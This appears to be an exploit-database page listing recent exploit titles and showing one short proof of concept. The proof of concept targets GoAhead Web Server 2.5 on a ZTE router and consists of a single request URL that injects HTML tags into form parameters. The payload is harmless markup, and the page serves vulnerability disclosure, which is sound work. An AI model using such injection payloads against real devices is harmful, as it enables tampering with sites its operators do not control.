2aed99237c
8 changes to exploits/shellcodes/ghdb Proxmox VE - TOTP Brute Force RoyalTSX 6.0.1 - RTSZ File Handling Heap Memory Corruption PoC GoAhead Web Server 2.5 - 'goform/formTest' Multiple HTML Injection Vulnerabilities 101 News 1.0 - Multiple-SQLi Academy LMS 6.2 - Reflected XSS Academy LMS 6.2 - SQL Injection Grocy <=4.0.2 - CSRF
14 lines
No EOL
635 B
Text
14 lines
No EOL
635 B
Text
# Exploit Title: GoAhead Web Server 2.5 - 'goform/formTest' Multiple HTML Injection Vulnerabilities
|
|
# Date: 25/9/2023
|
|
# Exploit Author: Syed Affan Ahmed (ZEROXINN)
|
|
# Vendor Homepage: https://www.embedthis.com/goahead/
|
|
# Affected Version: 2.5 may be others.
|
|
# Tested On Version: 2.5 in ZTE AC3630
|
|
|
|
---------------------------POC---------------------------
|
|
|
|
GoAhead Web Server Version 2.5 is prone to Multiple HTML-injection vulnerabilities due to inadequate input validation.
|
|
|
|
HTML Injection can cause the ability to execute within the context of that site.
|
|
|
|
http://192.168.0.1/goform/formTest?name=<h1>Hello</h1>&address=<h1>World</h1> |